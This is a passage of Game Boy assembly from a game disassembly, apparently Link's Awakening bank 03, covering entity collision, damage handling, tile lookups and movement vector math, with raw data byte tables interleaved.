toc_03_6F82.else_03_6FE1 .toc_03_714C: copyFromTo [$FFEE], [$FFD7] copyFromTo [$FFEC], [$FFD8] call toc_01_0993.toc_01_09A1 ret .else_03_7158: ld a, [$FFEB] cp $15 jp z, .return_03_73EA .else_03_715F: assign [$C160], $01 ifEq [$C16A], $05, .else_03_7170 assign [$C16D], $0C .else_03_7170: clear [$C122] ld a, $30 call toc_03_6F82.else_03_6FE1 ld hl, $FFF2 ld [hl], $09 ifEq [$D47C], $01, .else_03_71A8 call .else_03_71A8 ld hl, $C410 add hl, bc ld [hl], $20 ld hl, $C4A0 add hl, bc ld [hl], $01 assign [$FFF3], $11 ld hl, $C280 add hl, bc ld a, [hl] cp $01 jr nz, .return_03_71A7 ld hl, $C480 add hl, bc ld [hl], $40 .return_03_71A7: ret .else_03_71A8: ld a, c inc a ld [$C1AC], a ld a, [$D47C] and %00000001 ld hl, $C121 or [hl] ld hl, $C14A or [hl] ld a, [$DB4E] jr z, .else_03_71C0 inc a .else_03_71C0: dec a ld [$C19E], a .toc_03_71C4: ld hl, $C4D0 add hl, bc ld e, [hl] ld d, b sla e rl d sla e rl d sla e rl d sla e rl d ld hl, $448D add hl, de ld a, [$C19E] ld e, a ld d, b add hl, de ld e, [hl] push de ld a, [$C19E] rla rla rla and %11111000 ld e, a ld hl, $479D add hl, de pop de add hl, de ld a, [hl] and a ret z push af ifEq [$FFEB], $E6, .else_03_7219 ifEq [$D219], $04, .else_03_7219 ld a, [$C14A] push af call toc_03_6C87.else_03_6DF4 pop af and a jr nz, .else_03_7219 _ifZero [$C121], .else_03_7219 pop af ret .else_03_7219: ld hl, $C430 add hl, bc ld a, [hl] ld hl, $FFF2 ld [hl], $03 and %10000000 jr z, .else_03_722C ld hl, $FFF3 ld [hl], $07 .else_03_722C: ld hl, $C3A0 add hl, bc ld a, [hl] cp $6C jr nz, .else_03_7239 assign [$FFF3], $13 .else_03_7239: pop af cp $F0 jr c, .else_03_72B9 cp $FE jr nz, .else_03_7264 ld hl, $FFF4 ld [hl], $12 call .toc_03_73DF ld hl, $C280 add hl, bc ld [hl], $03 call toc_01_0891 ld [hl], $60 ld hl, $C340 add hl, bc inc [hl] inc [hl] ld hl, $C430 add hl, bc ld a, [hl] and %11000010 ld [hl], a ret .else_03_7264: cp $FF jr nz, .else_03_727D call .toc_03_73DF .toc_03_726B: ld hl, $C280 add hl, bc ld [hl], $06 ld hl, $C300 add hl, bc ld [hl], $FF ld hl, $C320 add hl, bc ld [hl], b ret .else_03_727D: cp $FD jr nz, .return_03_72B8 ld hl, $C3A0 add hl, bc ld a, [hl] cp $B9 jr nz, .else_03_7295 ld hl, $C2B0 add hl, bc ld a, [hl] and a jr nz, .return_03_72B8 inc [hl] jr .toc_03_729F .else_03_7295: ld [hl], $2F call toc_03_48B0 call toc_01_0887 ld [hl], $80 .toc_03_729F: ld hl, $C200 add hl, bc ld a, [hl] ld [$FFD7], a ld hl, $C210 add hl, bc ld a, [hl] ld hl, $C310 add hl, bc sub a, [hl] ld [$FFD8], a ld a, $02 call toc_01_0953 ret .return_03_72B8: ret .else_03_72B9: ld e, a ld hl, $C360 add hl, bc ld a, [hl] sub a, e ld [hl], a jr c, .else_03_72C6 jp nz, .else_03_73BA .else_03_72C6: ld hl, $C280 add hl, bc ld [hl], $01 ld hl, $C430 add hl, bc ld a, [hl] bit 7, a jr z, .else_03_7342 bit 2, a jr nz, .else_03_7308 ld e, $0F ld d, b .loop_03_72DC: ld a, e cp c jr z, .else_03_72F2 ld hl, $C280 add hl, de ld a, [hl] cp $05 jr nz, .else_03_72F2 ld hl, $C430 add hl, de ld a, [hl] and %10000000 jr nz, .else_03_7308 .else_03_72F2: dec e ld a, e cp $FF jr nz, .loop_03_72DC ld a, [wCurrentBank] push af call_changebank $03 call toc_01_27D2 pop af ld [wCurrentBank], a .else_03_7308: assign [$C5A7], $03 ld hl, $C2C0 add hl, bc ld [hl], b ld hl, $C3A0 add hl, bc ld a, [hl] ld e, $B7 cp $5A jr z, .else_03_7329 ld e, $B9 cp $63 jr z, .else_03_7334 ld e, $BD cp $62 jr nz, .else_03_7342 .else_03_7329: ld a, e call toc_01_2197 assign [$D368], $5E jr .else_03_7342 .else_03_7334: ld a, [hLinkPositionY] push af assign [hLinkPositionY], 16 ld a, e call toc_01_2197 pop af ld [hLinkPositionY], a .else_03_7342: call JumpTable_3B8D_00 ld [hl], b ld hl, $C480 add hl, bc ld [hl], $2F ld hl, $C420 add hl, bc xor a ld [hl], a ld hl, $C430 add hl, bc ld a, [hl] and %10000000 jr nz, .else_03_7365 ld hl, $C340 add hl, bc ld a, [hl] and %11110000 or %00000100 ld [hl], a .else_03_7365: ld hl, $C3A0 add hl, bc ld a, [hl] cp $12 jr nz, .else_03_73BA ld e, $0F ld d, b .loop_03_7371: ld a, e cp c jr z, .else_03_73AE ld hl, $C3A0 add hl, de ld a, [hl] cp $10 jr z, .else_03_7382 cp $11 jr nz, .else_03_73AE .else_03_7382: ld hl, $C290 add hl, de ld a, [hl] and a jr nz, .else_03_73AE ld hl, $C280 add hl, de ld a, [hl] and a jr z, .else_03_73AE ld [hl], $01 ld hl, $C480 add hl, de ld [hl], $1F call toc_01_27ED and %00000011 push bc ld c, a ld b, $00 ld hl, $73EB add hl, bc ld a, [hl] ld hl, $C4E0 add hl, de ld [hl], a pop bc .else_03_73AE: dec e ld a, e cp $FF jr nz, .loop_03_7371 ld hl, $C4E0 add hl, bc ld [hl], $2E .else_03_73BA: ld hl, $C3A0 add hl, bc ld a, [hl] ld hl, $C420 add hl, bc cp $E6 jr nz, .else_03_73D0 ifNe [$D219], $03, .else_03_73D4 jr .else_03_73DD .else_03_73D0: cp $59 jr nz, .else_03_73DD .else_03_73D4: ld [hl], $28 ld hl, $C300 add hl, bc ld [hl], $C8 ret .else_03_73DD: ld [hl], $18 .toc_03_73DF: ld hl, $C4A0 add hl, bc ld [hl], b ld hl, $C410 add hl, bc ld [hl], $0A .return_03_73EA: ret db $2D, $2E, $38, $37, $21, $AC, $C1, $FA db $3E, $C1, $B6, $21, $B6, $FF, $B6, $21 db $21, $C1, $B6, $C2, $E5, $74, $FA, $40 db $C1, $FE, $00, $CA, $E5, $74, $21, $80 db $C3, $09, $F0, $9E, $BE, $CA, $E5, $74 db $11, $EE, $FF, $21, $C0, $D5, $1A, $86 db $E5, $21, $40, $C1, $96, $FE, $80, $38 db $02, $2F, $3C, $E1, $F5, $23, $FA, $41 db $C1, $86, $5F, $F1, $BB, $D2, $E5, $74 db $23, $11, $EC, $FF, $1A, $86, $E5, $21 db $42, $C1, $96, $FE, $80, $38, $02, $2F db $3C, $E1, $F5, $23, $FA, $43, $C1, $86 db $5F, $F1, $BB, $D2, $E5, $74, $CD, $42 db $09, $3E, $08, $EA, $3E, $C1, $3E, $12 db $CD, $69, $75, $3E, $18, $CD, $17, $7E db $F0, $D7, $2F, $3C, $21, $00, $C4, $09 db $77, $F0, $D8, $2F, $3C, $21, $F0, $C3 db $09, $77, $CD, $DF, $73, $36, $08, $AF db $EA, $22, $C1, $CD, $DC, $08, $21, $21 db $C1, $FA, $6A, $C1, $B6, $28, $05, $3E db $0C, $EA, $6D, $C1, $F0, $EB, $FE, $BE db $20, $30, $3E, $09, $E0, $F2, $FA, $05 db $D2, $FE, $00, $28, $23, $FE, $01, $28 db $15, $FE, $04, $28, $11, $FE, $03, $CA db $75, $75, $3E, $20, $EA, $3E, $C1, $3E db $20, $CD, $69, $75, $18, $27, $3E, $10 db $EA, $3E, $C1, $3E, $20, $CD, $69, $75 db $18, $1B, $F0, $9E, $5F, $50, $21, $E8 db $74, $19, $FA, $40, $C1, $86, $E0, $D7 db $21, $EC, $74, $19, $FA, $42, $C1, $86 db $E0, $D8, $CD, $A1, $09, $3E, $0C, $E0 db $B6, $C9, $C3, $F0, $74, $00, $F0, $F8 db $FC, $FC, $FC, $F0, $00, $F0, $E7, $A9 db $1F, $30, $7E, $F0, $98, $C6, $08, $E0 db $D7, $F0, $99, $C6, $08, $E0, $D9, $11 db $EE, $FF, $21, $C0, $D5, $1A, $86, $E5 db $21, $D7, $FF, $96, $FE, $80, $38, $02 db $2F, $3C, $E1, $F5, $23, $3E, $04, $86 db $5F, $F1, $BB, $30, $54, $23, $11, $EC db $FF, $1A, $86, $E5, $21, $D9, $FF, $96 db $FE, $80, $38, $02, $2F, $3C, $E1, $F5 db $23, $3E, $05, $86, $5F, $F1, $BB, $30 db $38, $FA, $C7, $DB, $A7, $20, $32, $CD db $F1, $6C, $F0, $EB, $FE, $BE, $20, $29 db $FA, $05, $D2, $A7, $28, $23, $FE, $01 db $28, $1F, $FE, $04, $28, $1B, $FE, $02 db $20, $18, $CD, $8C, $08, $36, $A0, $3E db $20, $EA, $3E, $C1, $3E, $30 toc_03_7569: call toc_03_7E17 copyFromTo [$FFD7], [hLinkPositionYIncrement] copyFromTo [$FFD8], [hLinkPositionXIncrement] ret db $21, $D0, $C3, $09, $7E, $FE, $22, $38 db $F6, $3E, $0A, $EA, $1C, $C1, $21, $80 db $C3, $09, $7E, $A7, $3E, $30, $28, $02 db $3E, $D0, $E0, $9A, $AF, $E0, $9B, $3E db $30, $E0, $A3, $3E, $0B, $E0, $F2, $C9 db $3E, $20, $EA, $3E, $C1, $3E, $20, $18 db $C3 toc_03_75A6: ld e, $0F ld d, $00 .toc_03_75AA: ld a, e cp c jp z, .else_03_779D ld a, [hFrameCounter] xor e and %00000001 jp nz, .else_03_779D ld hl, $C280 add hl, de ld a, [hl] cp $05 jp c, .else_03_779D ld hl, $C340 add hl, de ld a, [hl] and %01000000 jp nz, .else_03_779D ld hl, $C200 add hl, de ld a, [$FFEE] sub a, [hl] add a, $0C cp $18 jp nc, .else_03_779D ld hl, $C210 add hl, de ld a, [hl] ld hl, $C310 add hl, de sub a, [hl] ld hl, $FFEC sub a, [hl] add a, $0C cp $18 jp nc, .else_03_779D ld hl, $C3B0 add hl, de ld a, [hl] cp $FF jp z, .else_03_779D ifEq [$FFEB], $55, .else_03_7602 call toc_01_0891 ld [hl], b .else_03_7602: ld hl, $C3A0 add hl, de ld a, [hl] cp $55 jr nz, .else_03_7634 ld hl, $C240 add hl, bc ld a, [hl] ld hl, $C240 add hl, de ld [hl], a ld hl, $C250 add hl, bc ld a, [hl] ld hl, $C250 add hl, de ld [hl], a ld hl, $C2E0 add hl, de ld [hl], $40 ld hl, $C290 add hl, de ld [hl], $02 ld hl, $C2F0 add hl, de ld [hl], $08 jp .else_03_779D .else_03_7634: ld hl, $C340 add hl, de ld a, [hl] and %00100000 jp nz, .else_03_7719 ifNe [$FFEB], $08, .else_03_766C ld hl, $C3A0 add hl, de ld a, [hl] cp $E6 jr nz, .else_03_765A ifEq [$D219], $05, .else_03_765A ifEq [$FFF1], $02, .else_03_7663 .else_03_765A: ld hl, $C350 add hl, de ld a, [hl] and %10000000 jr z, .else_03_766C .else_03_7663: ld hl, $C2A0 add hl, bc ld [hl], $01 jp .else_03_773B .else_03_766C: ifEq [$FFEB], $08, .else_03_76B0 ld hl, $C3A0 add hl, de ld a, [hl] cp $CA jr nz, .else_03_7684 ld hl, $C290 add hl, de ld a, [hl] and a jr nz, .else_03_76B0 inc [hl] .else_03_7684: cp $3F jr nz, .else_03_76B0 _ifZero [$DBA5], .else_03_76B0 ld hl, $C290 add hl, de ld a, [hl] and a jr nz, .else_03_76B0 inc [hl] ld hl, $C450 add hl, de ld [hl], $7F ld hl, $C420 add hl, de ld [hl], $10 assign [wCurrentBank], $03 call toc_01_27D2 assign [wCurrentBank], $18 .else_03_76B0: ld hl, $C350 add hl, de ld a, [hl] and %10000000 jp nz, .else_03_779D ld hl, $C410 add hl, de ld a, [hl] and a jp nz, .else_03_779D ld hl, $C3A0 add hl, de ld a, [hl] cp $24 jr nz, .else_03_7714 ld hl, $C380 add hl, de ld a, [hl] xor %00000001 ld hl, $C380 add hl, bc cp [hl] jr nz, .else_03_7714 ld hl, $C2C0 add hl, de ld a, [hl] and a jr nz, .else_03_7714 ld a, [$FFEB] cp $03 jp nz, .else_03_7663 ld [hl], $01 push de ld a, $32 call toc_03_64F8 jr c, .else_03_7711 ld a, [$FFD7] ld hl, $C200 add hl, de ld [hl], a ld a, [$FFD8] ld hl, $C210 add hl, de ld [hl], a ld hl, $C390 add hl, de ld a, c inc a ld [hl], a ld a, [$FFD9] and %00000001 ld hl, $C3B0 add hl, de ld [hl], a .else_03_7711: pop de jr .else_03_773B .else_03_7714: call toc_03_77A5 jr .else_03_773B .else_03_7719: ifNe [$FFEB], $01, .else_03_7723 cp $03 jr nz, .else_03_7738 .else_03_7723: call toc_01_0891 xor a ld [hl], a ld hl, $C340 add hl, de ld a, [hl] and %00100000 jr z, .else_03_773B ld a, c inc a ld hl, $C390 add hl, de ld [hl], a .else_03_7738: jp .else_03_779D .else_03_773B: ifNe [$FFEB], $A8, .else_03_775E cp $01 jr z, .else_03_7798 cp $03 jr z, .else_03_7798 cp $05 jr nz, .else_03_7755 push de call toc_03_5441 pop de jp .else_03_779D .else_03_7755: ld hl, $C280 add hl, bc ld a, [hl] cp $08 jr nz, .else_03_7780 .else_03_775E: ld hl, $C480 add hl, bc ld a, [hl] and a jr nz, .else_03_779D ld [hl], $0C ld hl, $C240 add hl, bc sra [hl] sra [hl] ld a, [hl] cpl ld [hl], a ld hl, $C250 add hl, bc sra [hl] sra [hl] ld a, [hl] cpl ld [hl], a jr .else_03_7798 .else_03_7780: ld hl, $C2A0 add hl, bc ld a, [hl] and a jr nz, .else_03_7798 ifEq [$FFEB], $00, .else_03_7793 _ifZero [$FFF0], .else_03_7796 .else_03_7793: call toc_01_3F7A.else_01_3FB7 .else_03_7796: jr .else_03_779D .else_03_7798: call toc_01_0891 xor a ld [hl], a .else_03_779D: dec e ld a, e cp $FF jp nz, .toc_03_75AA ret toc_03_77A5: ifEq [$FFEB], $00, .else_03_77B6 ifNotZero [$FFF0], .else_03_77B6 call toc_01_0891 ld [hl], $03 ret .else_03_77B6: ld hl, $C240 add hl, bc ld a, [hl] ld hl, $C3F0 add hl, de ld [hl], a ld hl, $C250 add hl, bc ld a, [hl] ld hl, $C400 add hl, de ld [hl], a push bc push de pop bc push de call toc_03_77D4 pop de pop bc ret toc_03_77D4: call JumpTable_7059_03.toc_03_71C4 ret db $1E, $0F, $16, $00, $21, $80, $C2, $19 db $7E, $FE, $05, $38, $4E, $21, $40, $C3 db $19, $7E, $E6, $60, $20, $45, $21, $50 db $C3, $19, $7E, $E6, $80, $20, $3C, $21 db $00, $C2, $19, $F0, $EE, $96, $C6, $18 db $FE, $30, $30, $2F, $21, $10, $C2, $19 db $7E, $21, $10, $C3, $19, $96, $21, $EC db $FF, $96, $C6, $18, $FE, $30, $30, $1B db $3E, $07, $EA, $9E, $C1, $CD, $A5, $77 db $3E, $30, $CD, $3A, $78, $21, $00, $C4 db $19, $F0, $D7, $77, $21, $F0, $C3, $19 db $F0, $D8, $77, $1D, $7B, $FE, $FF, $20 db $A3, $C9, $E0, $D7, $F0, $98, $F5, $21 db $00, $C2, $19, $7E, $E0, $98, $F0, $99 db $F5, $21, $10, $C2, $19, $7E, $E0, $99 db $D5, $F0, $D7, $CD, $17, $7E, $D1, $F1 db $E0, $99, $F1, $E0, $98, $C9, $0D, $02 db $08, $08, $0A, $06, $08, $08, $10, $FF db $08, $08, $0D, $02, $08, $08, $08, $08 db $02, $0D, $08, $08, $06, $0A, $08, $08 db $FF, $10, $08, $08, $02, $0D, $01, $02 db $04, $08, $00, $00, $FF, $01, $01, $FF db $01, $FF, $01, $FF, $00, $00, $01, $01 db $FF, $FF toc_03_7892: ld hl, $C470 add hl, bc ld a, [hl] ld [$FFD7], a xor a ld [hl], a ld [$FFD8], a ld [$C503], a ld [$C50D], a ld hl, $C310 add hl, bc ld a, [hl] bit 7, a jr nz, .else_03_78B0 and a jp nz, .else_03_7A17 .else_03_78B0: ld hl, $C4F0 add hl, bc ld [hl], b ld hl, $C430 add hl, bc ld a, [hl] bit 4, a jp nz, .else_03_7A17 call toc_03_7DE0 jr .toc_03_78E2 .toc_03_78C4: ld e, $02 ifNe [$FFEB], $CC, .else_03_7906 cp $A0 jr z, .else_03_7906 cp $D5 jr z, .else_03_7906 cp $6D jr z, .else_03_7906 cp $C1 jr z, .else_03_7906 call toc_01_3F7A.else_01_3FB7 jp .toc_03_795B .toc_03_78E2: ld e, $01 ifNe [hObjectUnderEntity], 103, .else_03_7906 _ifNotZero [$FFDA], .else_03_7A17 cp $0B jr z, .toc_03_78C4 cp $07 jr z, .toc_03_78C4 cp $B0 jr z, .else_03_7906 inc e cp $05 jr z, .else_03_7906 cp $06 jr nz, .else_03_790B inc e .else_03_7906: ld hl, $C470 add hl, bc ld [hl], e .else_03_790B: ld hl, $C430 add hl, bc ld a, [hl] and %00001000 jr z, .else_03_7972 ld hl, $C470 add hl, bc ld a, [$FFD7] cp [hl] jr z, .else_03_7972 ld a, [hl] cp $03 jr z, .else_03_7972 ifNe [$FFD7], $03, .else_03_7972 _ifZero [$FFF9], .else_03_793C ld hl, $C320 add hl, bc ld a, [hl] bit 7, a jr z, .else_03_7972 cp $E7 jr nc, .else_03_7972 jr .else_03_7953 .else_03_793C: ifNe [$FFEB], $AC, .else_03_7953 ld hl, $C250 add hl, bc ld a, [hl] bit 7, a jr nz, .else_03_7953 ld [hl], $00 ld hl, $C240 add hl, bc sra [hl] .else_03_7953: ld hl, $C480 add hl, bc ld a, [hl] and a jr nz, .else_03_7972 .toc_03_795B: ld hl, $C200 add hl, bc ld a, [hl] ld [$FFD7], a ld hl, $C210 add hl, bc ld a, [hl] ld [$FFD8], a assign [$FFF2], $0E ld a, $01 call toc_01_0953 .else_03_7972: ld a, [$FFDA] inc a cp $F1 jr c, .else_03_799B sub a, $F1 ld e, a ld d, b ld a, [hFrameCounter] and %00000011 jr nz, .else_03_7999 ld hl, $7882 add hl, de ld a, [hl] ld hl, $C200 add hl, bc add a, [hl] ld [hl], a ld hl, $788A add hl, de ld a, [hl] ld hl, $C210 add hl, bc add a, [hl] ld [hl], a .else_03_7999: jr .else_03_7A17 .else_03_799B: ifNe [hObjectUnderEntity], 97, .else_03_79AB ifNe [$FFDA], $50, .else_03_79AB cp $51 jr nz, .else_03_7A17 .else_03_79AB: ifNe [$FFEB], $6D, .else_03_7A17 cp $D5 jr z, .else_03_7A17 cp $36 jr z, .else_03_7A17 cp $C1 jr nz, .else_03_79CA ifEq [$C11C], $06, .else_03_7A17 ifEq [hObjectUnderEntity], 97, .else_03_7A17 .else_03_79CA: ld hl, $C410 add hl, bc ld a, [hl] and a jr z, .else_03_7A17 dec [hl] ld hl, $C420 add hl, bc ld [hl], $00 ld hl, $C280 add hl, bc ld [hl], $02 ld a, [hSwordIntersectedAreaX] add a, $08 ld hl, $C4B0 add hl, bc ld [hl], a ld a, [hSwordIntersectedAreaY] add a, $10 ld hl, $C4C0 add hl, bc ld [hl], a call toc_01_0891 ld [hl], $6F ifNe [$FFEB], $14, .else_03_7A17 cp $0B jr z, .else_03_7A17 cp $09 jr z, .else_03_7A17 ld [hl], $48 ld hl, $C410 add hl, bc ld a, [hl] and a jr nz, .else_03_7A17 call toc_01_0891 ld [hl], $2F assign [$FFF2], $18 .else_03_7A17: ld a, [$FFEB] cp $6D jp z, .return_03_7A83 clear [$C503] ld hl, $C350 add hl, bc ld a, [hl] and %00000011 sla a sla a ld [$FFD7], a ld hl, $C2A0 add hl, bc xor a ld [hl], a ld hl, $C240 add hl, bc ld a, [hl] cp $00 jr z, .else_03_7A5C ld de, $0000 and %10000000 jr z, .else_03_7A46 inc e .else_03_7A46: call toc_03_7ACC jr c, .else_03_7A5C copyFromTo [hObjectUnderEntity], [$C503] _ifZero [$FFBE], .else_03_7A5C ld hl, $C200 add hl, bc ld a, [$FFEE] ld [hl], a .else_03_7A5C: ld hl, $C250 add hl, bc ld a, [hl] cp $00 jr z, .return_03_7A83 ld de, $0002 and %10000000 jr nz, .else_03_7A6D inc e .else_03_7A6D: call toc_03_7ACC jr c, .return_03_7A83 copyFromTo [hObjectUnderEntity], [$C50D] _ifZero [$FFBE], .return_03_7A83 ld hl, $C210 add hl, bc ld a, [$FFEF] ld [hl], a .return_03_7A83: ret db $01, $00, $01, $00, $00, $01, $00, $01 db $01, $01, $00, $00, $00, $00, $01, $01 db $01, $00, $01, $00, $00, $01, $00, $01 db $01, $01, $00, $00, $00, $00, $01, $01 db $00, $01, $01, $01, $01, $00, $01, $01 db $01, $01, $00, $01, $01, $01, $01, $00 db $01, $00, $00, $00, $00, $01, $00, $00 db $00, $00, $01, $00, $00, $00, $00, $01 db $00, $01, $01, $00, $01, $00, $00, $01 toc_03_7ACC: push bc ld hl, $C200 add hl, bc ld a, [hl] sub a, $08 push af ld a, [$FFD7] ld c, a pop af ld hl, $785E add hl, bc add hl, de add a, [hl] ld [$FFDB], a swap a and %00001111 ld [$FFD8], a pop bc push bc ld a, e cp $03 jr nz, .else_03_7B0D ifNe [$FFEB], $A8, .else_03_7AF8 cp $05 jr nz, .else_03_7B0D .else_03_7AF8: ld hl, $C210 add hl, bc ld a, [hl] ld hl, $C310 add hl, bc ld c, [hl] bit 7, c jr z, .else_03_7B08 ld c, $00 .else_03_7B08: srl c sub a, c jr .toc_03_7B12 .else_03_7B0D: ld hl, $C210 add hl, bc ld a, [hl] .toc_03_7B12: sub a, $10 push af ld a, [$FFD7] ld c, a pop af ld hl, $786E add hl, bc add hl, de add a, [hl] ld [$FFDC], a and %11110000 ld hl, $FFD8 or [hl] ld c, a ld hl, $D711 ld a, h add hl, bc ld h, a pop bc ld a, [hl] ld [hObjectUnderEntity], a cp $20 jp z, .else_03_7C7A push de ld e, a ld a, [$DBA5] ld d, a call toc_01_29E8 pop de ld [$FFDA], a ifNe [$FFEB], $CC, .else_03_7B4D cp $99 jr nz, .else_03_7B5C .else_03_7B4D: ld a, [$FFDA] cp $05 jp z, .else_03_7CA6 cp $07 jp z, .else_03_7CA6 jp .else_03_7C74 .else_03_7B5C: _ifNotZero [$FFDA], .else_03_7CA6 cp $0B jr z, .else_03_7B6E cp $50 jr z, .else_03_7B6E cp $51 jr nz, .else_03_7B8A .else_03_7B6E: ld hl, $C310 add hl, bc ld a, [hl] and a jp nz, .else_03_7CA6 ld hl, $C410 add hl, bc ld a, [hl] and a jp z, .else_03_7C74 ld a, [$FFEB] cp $59 jp z, .else_03_7C74 jp .else_03_7CA6 .else_03_7B8A: cp $7C jp c, .else_03_7BE3 cp $90 jp nc, .else_03_7BE3 cp $80 ld a, [$FFEB] jr c, .else_03_7BA6 cp $A8 jp z, .else_03_7CA6 cp $02 jp z, .else_03_7CA6 jr .toc_03_7BBA .else_03_7BA6: cp $16 jp z, .else_03_7C99 cp $17 jp z, .else_03_7C99 ld hl, $C430 add hl, bc ld a, [hl] and %10000000 jp nz, .else_03_7C99 .toc_03_7BBA: push de ld a, [$FFDA] sub a, $7C sla a sla a ld e, a ld d, $00 ld hl, $7A84 add hl, de ld a, [$FFDB] rra rra rra and %00000001 ld e, a ld a, [$FFDC] rra rra and %00000010 or e ld e, a ld d, $00 add hl, de ld a, [hl] pop de and a jp z, .else_03_7CA6 .else_03_7BE3: ifLt [$FFDA], $D0, .else_03_7C2A cp $D4 jr nc, .else_03_7C2A sub a, $D0 ld hl, $C5D0 add hl, bc cp [hl] jr z, .else_03_7C19 ifNe [$FFEB], $A8, .else_03_7C74 ld hl, $C4F0 add hl, bc ld a, [hl] and a jr z, .else_03_7C74 ld a, [hFrameCounter] and %00000011 jr z, .else_03_7C27 _ifZero [$DBA5], .else_03_7C16 ld a, [hFrameCounter] and %00000001 jr z, .else_03_7C27 .else_03_7C16: dec [hl] jr .else_03_7C27 .else_03_7C19: ld hl, $C310 add hl, bc ld a, [hl] and a jp z, .else_03_7C74 ld hl, $C4F0 add hl, bc inc [hl] .else_03_7C27: jp .else_03_7CA6 .else_03_7C2A: cp $FF jr z, .else_03_7C99 cp $A0 jr nc, .else_03_7CA6 cp $10 jr nc, .else_03_7C74 cp $01 jr z, .else_03_7C90 cp $03 jr z, .else_03_7C90 cp $04 jr nz, .else_03_7CA6 ld a, [$FFEB] cp $A8 jp z, .else_03_7CA6 cp $02 jp z, .else_03_7CA6 cp $03 jr nz, .else_03_7C59 ifZero [$D6F9], .else_03_7CA6 .else_03_7C59: ifLt [hObjectUnderEntity], 219, .else_03_7C99 cp 221 jr nc, .else_03_7C99 push de sub a, 219 ld e, a ld d, $00 ld hl, $7CA8 add hl, de pop de ld a, [$D6FB] xor [hl] jr z, .else_03_7CA6 .else_03_7C74: ifEq [$FFDA], $60, .else_03_7C90 .else_03_7C7A: ifEq [$FFEB], $03, .else_03_7C90 call toc_01_0891 cp $26 jr c, .else_03_7C8A call toc_01_3F7A.else_01_3FB7 .else_03_7C8A: ld hl, $C290 add hl, bc ld [hl], $01 .else_03_7C90: ld hl, $C430 add hl, bc ld a, [hl] and %00000001 jr nz, .else_03_7CA6 .else_03_7C99: ld hl, $787E add hl, de ld a, [hl] ld hl, $C2A0 add hl, bc or [hl] ld [hl], a and a ret .else_03_7CA6: scf ret db $00, $02, $11, $00, $00, $C5, $21, $00 db $C2, $09, $7E, $E0, $DB, $E6, $F0, $E0 db $CE, $CB, $37, $21, $10, $C2, $09, $4F db $7E, $D6, $08, $E0, $DC, $E6, $F0, $E0 db $CD, $B1, $4F, $E0, $E9, $06, $00, $21 db $11, $D7, $7C, $09, $67, $C1, $7E, $E0 db $AF, $FE, $AC, $CA, $D5, $7D, $FE, $AB db $20, $5B, $F0, $EB, $FE, $04, $20, $55 db $FA, $A5, $DB, $A7, $28, $4F, $E5, $3E db $12, $E0, $F4, $3E, $08, $CD, $F8, $64 db $38, $42, $E1, $36, $AC, $C5, $D5, $C1 db $54, $5D, $21, $B0, $C2, $09, $72, $21 db $C0, $C2, $09, $73, $F0, $CE, $21, $00 db $C2, $09, $77, $F0, $CD, $21, $10, $C2 db $09, $77, $21, $90, $C2, $09, $36, $01 db $CD, $87, $08, $36, $80, $C1, $21, $A2 db $C1, $34, $FA, $CD, $C3, $A7, $28, $05 db $D6, $04, $EA, $CD, $C3, $11, $BD, $69 db $D5, $C3, $7A, $52, $E1, $7E, $5F, $FA db $A5, $DB, $57, $CD, $E8, $29, $E0, $D8 db $A7, $CA, $D5, $7D, $E0, $DA, $FE, $FF db $CA, $D7, $7D, $FE, $D0, $38, $3B, $FE db $D4, $30, $37, $D6, $D0, $21, $D0, $C5 db $09, $BE, $28, $1E, $21, $F0, $C4, $09 db $7E, $A7, $28, $49, $F0, $E7, $E6, $03 db $28, $63, $FA, $A5, $DB, $A7, $20, $06 db $F0, $E7, $E6, $01, $28, $57, $35, $C3 db $D5, $7D, $21, $10, $C3, $09, $7E, $A7 db $28, $2B, $21, $F0, $C4, $09, $34, $C3 db $D5, $7D, $FE, $7C, $DA, $9F, $7D, $FE db $90, $D2, $9F, $7D, $C3, $D5, $7D, $F0 db $DA, $FE, $A0, $30, $30, $FE, $50, $28 db $2C, $FE, $51, $28, $28, $FE, $10, $30 db $04, $FE, $01, $20, $20, $21, $A0, $C2 db $09, $36, $01, $F0, $EB, $FE, $01, $20 db $04, $CD, $91, $08, $C8, $21, $00, $C2 db $09, $F0, $EE, $77, $21, $10, $C2, $09 db $F0, $EF, $77, $37, $C9, $A7, $C9, $F0 db $EB, $FE, $01, $28, $D8, $C3, $B7, $3F toc_03_7DE0: push bc ld hl, $C200 add hl, bc ld a, [hl] sub a, $01 ld [$FFDB], a and %11110000 ld [hSwordIntersectedAreaX], a swap a ld hl, $C210 add hl, bc ld c, a ld a, [hl] sub a, $07 ld [$FFDC], a and %11110000 ld [hSwordIntersectedAreaY], a or c ld c, a ld b, $00 ld hl, $D711 ld a, h add hl, bc ld h, a pop bc ld a, [hl] ld [hObjectUnderEntity], a ld e, a ld a, [$DBA5] ld d, a call toc_01_29E8 ld [$FFDA], a ret toc_03_7E17: ld [$FFD8], a and a jp z, .else_03_7E95 call toc_03_7EBB dec e dec e ld a, e ld [$FFD9], a ld a, d bit 7, a jr z, .else_03_7E2C cpl inc a .else_03_7E2C: ld [$FFE3], a call toc_03_7EAB ld a, e ld [$FFDA], a ld a, d bit 7, a jr z, .else_03_7E3B cpl inc a .else_03_7E3B: ld [$FFE4], a ld e, $00 ld hl, $FFE3 ld a, [$FFE4] cp [hl] jr nc, .else_03_7E50 inc e push af copyFromTo [$FFE3], [$FFE4] pop af ld [$FFE3], a .else_03_7E50: clear [$FFE2] ld [$FFD7], a ld a, [$FFD8] ld d, a .loop_03_7E58: ld a, [$FFE2] ld hl, $FFE3 add a, [hl] jr c, .else_03_7E66 ld hl, $FFE4 cp [hl] jr c, .else_03_7E6B .else_03_7E66: sub a, [hl] incAddr $FFD7 .else_03_7E6B: ld [$FFE2], a dec d jr nz, .loop_03_7E58 ld a, e and a jr z, .else_03_7E7E ld a, [$FFD7] push af copyFromTo [$FFD8], [$FFD7] pop af ld [$FFD8], a .else_03_7E7E: ld a, [$FFD9] and a ld a, [$FFD7] jr nz, .else_03_7E89 cpl inc a ld [$FFD7], a .else_03_7E89: ld a, [$FFDA] and a ld a, [$FFD8] jr z, .return_03_7E94 cpl inc a ld [$FFD8], a .return_03_7E94: ret .else_03_7E95: clear [$FFD7] ret toc_03_7E99: call toc_03_7E17 ld a, [$FFD7] ld hl, $C250 add hl, bc ld [hl], a ld a, [$FFD8] ld hl, $C240 add hl, bc ld [hl], a ret toc_03_7EAB: ld e, $00 ld a, [hLinkPositionX] ld hl, $C200 add hl, bc sub a, [hl] bit 7, a jr z, .else_03_7EB9 inc e .else_03_7EB9: ld d, a ret toc_03_7EBB: ld e, $02 ld a, [hLinkPositionY] ld 